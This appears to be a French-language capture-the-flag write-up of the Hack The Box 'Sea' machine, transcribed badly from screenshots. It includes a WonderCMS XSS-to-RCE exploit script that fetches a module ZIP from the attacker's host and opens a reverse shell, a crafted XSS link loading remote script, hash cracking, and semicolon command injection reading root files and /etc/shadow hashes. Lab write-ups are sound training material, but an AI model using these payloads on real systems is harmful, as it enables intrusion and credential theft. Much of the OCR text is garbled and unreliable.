Sea

Monday, November 11, 2024 6:36 PM

nmap -sV -sC -0 10.129.236.182

Starting Nmap 7.94SVN ( https://nmap.org) at 2024-11-11 18:25 CET

Nmap scan report for 10.129.236.182

Host is up (0.016s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 e3:54:€0:72:20:3¢:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)

| 256 f3:24:4b:08:a2a:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)

|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

| _http-title: Sea - Home

| _http-server-header: Apache/2.4.41 (Ubuntu)

| http-cookie-flags:

| /:

| PHPSESSID:

|_  httponly flag not set

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
0S:SCAN(V=7.94SVN%E=4%D=11/11%0T=22%CT=1%CU=31649%PV=Y%DS=2%DC=1%G=Y%TM=673
0S:23E2B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=2%C|=2%I1=1%TS=A
0S:)SEQ(SP=103%GCD=1%ISR=10C%TI1=Z%CI=Z%1=1%TS=A)OPS(01=M53CST11INW7%02=M53C
0S:ST11INW7%03=M53CNNT11INW7%04=M53CST11INW7%05=M53CST11INW7%06=M53CST11)
WIN(W1
0S:=FE88%W2=FE88%W3=FE88%WA4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%
(o]
0S:=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S5=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
0S:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=2%F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%5=2%
A=
0S:5+%F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0%Q=)T7(R=Y%
DF
0S:=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)U1(R=Y%DF=N%T=40%I|PL=164%UN=0%RIPL=
0S:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 21.59 seconds

HOW TO PARTICIPATE

How can I
participate?

To participate, you only need tc

ou can optionally

passion for night

Je n'ai pas acces a data mais si je demande I'accés a un sous dossier du style home alors j'ai accés et
c'est une vulnérabilité.

“

Kali Linus L K. - MNetHunter

Forbidden

You don't have permission to access this resource.

bli Docs W Kali Forums X Kali NetHunter Exploit-DB

Je vais faire un ffuz avec :
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https://nmap.org
https://nmap.org/submit/
https://nmap.org/submit/

On continue la recherche (je suis naze g triché un peu)

On regarde pour readme.md :

« C @ O A seahtb
KaliLinux @ KaliTools * KaliDocs N Kall Forums o Kali NetHunter » Exploit-DB
# Wonder(MS bike theme

## De

## Author: turboblack

## Provie

tew] (/preview. {pg)

turboblack

Bref avec la CVE il faut créer un payload qui va créer une attaque XSS. Donc il faut reprendre ce
script, changer le payload et I'envoyer dans le formulaire pour que I'admin I'active.
RELOU

# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3
exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data=""
// the server has some issue resolving domain name with JavaScript
// we can just provide the target URL as required parameter
var whateverURL = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
// modify the ZIP file path serving on HTTP server
var urlRev = whateverURL+"/?
installModule=http://10.10.16.4:8000/wh .zip&directory iolet& h &token
=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhrd = new XMLHttpRequest();
xhr4.withCredentials = true;
// visit rev.php inside the uploaded ZIP file
xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
xhr4.send();
xhrd.onload = function() {
if (xhrd.status == 200) {
+

str(sys.argv[2])+"
"+str(sys.argv[3])+"";
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http://localhost/wondercms/loginURL
http://sea.htb

var xhr5 = new XMLHttpRequest();

xhr5.withCredentials = true;

// trigger reverse shell script and provide listner ip & port

xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&Iport="+ port);
xhr5.send();

try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n------------=-==-----------\nnc -lvp
"+str(sys.argv[3]))
tr(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form>
<script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n--------------cececeeeee-- \n"+XSSlink)
print(" \n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")

ON va d'abord tester ¢a : https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMS_RCE

Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 alloy

arbitrary code fled script uf d to the

mponent. For educational purpose
Requires knowledge of loginURL, admin or the ability to get the admin to
1. Clone the repo
git clone https://github.com/thef iz

2. Runit

4. Send the printed xss Ul

5. Wait for a callback

Il faut copier ce payload et le mettre dans le form :
http://sea.htb/loginURL/index.php?page=loginURL?"></form>

<script+src="http://10.10.14.28:8000/xss.js"></script><form+action="
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http://localhost/wondercms/loginURL
http://sea.htb
https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE
http://sea.htb/loginURL/index.php?page=loginURL?"></form><script+src="http://10.10.14.28:8000/xss.js"></script><form+action=
http://sea.htb/loginURL/index.php?page=loginURL?"></form><script+src="http://10.10.14.28:8000/xss.js"></script><form+action=

Competition registration - Sea

Name:

al

Email:

al@gmail.com

Age:

23

Country:
france
Website:

plpage=loginLIRLY

cript+src="http://10.10.14.28:84

s5.j5" > < script><form+action="

Au bout d'un moment on a le shell :

En gros on va mettre le fichier sur un serveur créer avec python puis on va sur la machine victime
récupérer le fichier avec wget

Comme on est sur le shell de I'admin du site on doit d'abord regardé dans le dossier www/html. On
voit ici qu'on a un databse.js :
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Et un mot de passe qui est de la forme berypt.
On le crack avec john ou avec hashcat avec le mode 3200 :

Il faut retirer le backslash =\

On va tester de se connecter en ssh avec I'un de ses comptes :
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ON va créer un nouveau user avec les droits de root :

openssl. passwd alic

$1SVLyYjNzSgSjjs/xMNbxTmZEIAQTkt2al

alice:$1$VLyjNzSgSjjs/xMNbxTmZEIAQTkt2a1:0:0:root:/root:/bin/bash

Bon ¢a ne fonctionne pas ff

ON refait un port fowarding et on essaye avec le port 8080

& Masi | Q)G X

127.0.0.1:8080/ 2 ® L 0 ﬁ ce@kali: ~/ alice@kali: ~/ alice@kali: ~/ { & E sea: fetc

System Monitor{Developing) » Exploit-DB
hitp://127.0.0.1:8080

Packages

Froxlor

Froxlor Languages

Froxlor Python

Froxior

Ensuite on se connecte avec I'ID de Amay :
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System Monitor(Developing)

Disk Usage

fdevimapper/ubuntu--vg-ubuntu--lv 6.6G 4.6G 1.6G 75% /
Used:
Total: 75%

System Management

Analyze Log File

Ce site nous montre |'usage d'un disk sur ubuntu avec /dev/mapper/ubuntu etc. ON a plusieurs
options notamment analyze access.log et auth.log files.
Par exemple on peut voir les logs de notre ffuz :

System Management

e [ [ o ]

Analyze Log File

acxom g v
1010164 - - [LAup 0240186
¥210-0m 1010164

) A 10

{3800y 2004 0L B 386 40000K “GET A HTTPI3 1° 404 3668 “-* Tuuez Fasser U Foct v2.1 00e”

1010 164 - - [(11AAsr2024.01 $6:37 +0000) "CET Sertats HTTR/L 1° &0& Faaz e \ Fool

¥2 1.0 30,10 16.4 - - [LUAU2074 01.45:38 +0000] "GET AserContiots HTTP/L1° 404 3566 ** Fuaz

Fasier U Foal v, 1030 18.4 - . [LLUAQ0A-01 4633 +0200| "GET fromels HTTPIL 1" 404 3666
Fux Fstor U Fool v2.1.0.0ev" 10,10 164 - - 11AL/2024.01 46 38 +00008 “GET /svstiom HTTR/L L

Si on regarde avec burpsuite on remarque un paramétrelog_file=/var/log/apache2/access.log via
une requéte POST.

Pour accéder au auth.log il faut avoir le root privilége ce qui veut dire qu'on a accés depuis le site
donc on peut leaker I'information. Don on peut conclure qu'on est root.

Si on supprime les logs :

Analyze Log File

accesslog v Analyz

No suspicious traffic patterns detected in varfloglapache2faccess. log,

En sachant qu'on a accés a des informations leaker en étant root on peut tester des payload pour
avoir accés au root.txt:

/root/root.txt

Accept-Language: en-US. en;q=0.5
Accept-Encoding: gzip.
Content-Type: application/s-wew-
Content-Length: o

Origin: http://127,©.0.1:8080

Upgrade- Insecure-Requests
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: 71

Priority:

log_fil Lyze_log=/root/root txt
D@ € 2 okighli
Fesponse
Pretty  Aaw [=

<button types"submit” name=*analyze log® class="button‘s
Analyze

P
Mo suspicious traffic patterns detected in /rost/root.txt.
<fp=

<fdiv= }

ot
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On a rien. Maintenant si on rajoute des; pour

ge/svgraml, /% gul
Accept -Language: en-US.en:g=0.5
Accept -Encoding: gzip. deflate. br
Content-Type: spplication/z-wew-fora-urlencoded
Content-Length: 58
Drigin: http://127.0.0.1:8083
Authorization: Basic YWLheTpteWNoZWlpY2Fscast YWS] Z0=m=
Sopnestien: keen-plive
Referer: http://127.0.0.1:8080/
Upgrade-Insecure-Reguests: 1
Sec-Fetch-Dest: document
Sec-Fatch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: 71
Priority: us0, 1

log_file=sroot/root. tet:id:alicebanalyze_ Log=/roct froct . tat

DB e > ch £ okghligh

Response
Prelty  Raw  Hex

wLuEss oy
<fopticn>
N <option value=*/var/logfauth.log*=
auth.log
<fopticn>
</select>
L =button type="submit® name="snslyze_log" class="butten®s
Analyze
</Button=
<tformm
031746993 ab0fd1063: feaTeddatas
uld=Dirast| gid=0irost) groups=0irsotl]
=p class='error’s>
Suspicious traffic patterns detected in /root/root.txt;id;alice:
“fp=
“pra=
uld=Diract) gid=0iroct) groups=0iraot)
<fpres

log_files/root /root .txt:idéanalyze_log=/root/root.txt

1@ (€[] [searh o] ohg

sponse
retty Raw Hex RAender (= ]
— SUMLAUN WELUES JEEE LUy s L Ly
auth.lag
=foptian=
<fselect=
<button type="subsit® name="analyze_log" class="button"s
Analyze
<fbutton=
<fform=
4031 7A69azcabOf 41063 feeTeddataa
<p class='error =
Suspicious traffic patterns detected in froot/roct.txtiid:
<fo=>
<pre=
4031 745552cabofd1 D63c fee Teddafan
=/pred

=idivs

Le systéme applique un filtre pour détecter des " p " dans les r é y a
un formulaire d’analyse de logs. En testant des fichiers comme /root/root.txt, le filtre valide leur
sécurité. Apres des essais, I'injection de de avec un sép (;) contourne ce filtre,
permettant |'exécution de commandes arbitraires en tant que root, comme |'affichage des

per i ou du des fichiers

Si on fait un etc/shadow :

£e0:5655mAIq0ze4GJ4s9Zu
$P3IgUSHIcCkKpDJ0862IgP5aqaNilEUZDGIm16FiWdxh1A5dfKjmwhMgp3xctHiHZVWGtmKY25¢CriLan
DPaG.:19934:0:99999:7:

root:$651IVzHhr7xHrvx1w)
$SgHOPLbyPalOqLrpjpzGZbM2bZ/iHaOfv/bj1YRrktVez8.1KQ0Jr1Rv/TL/3Qdh84FweclUhX2vOLVAGsuz
.0:19775:0:99999:7:::

FIN
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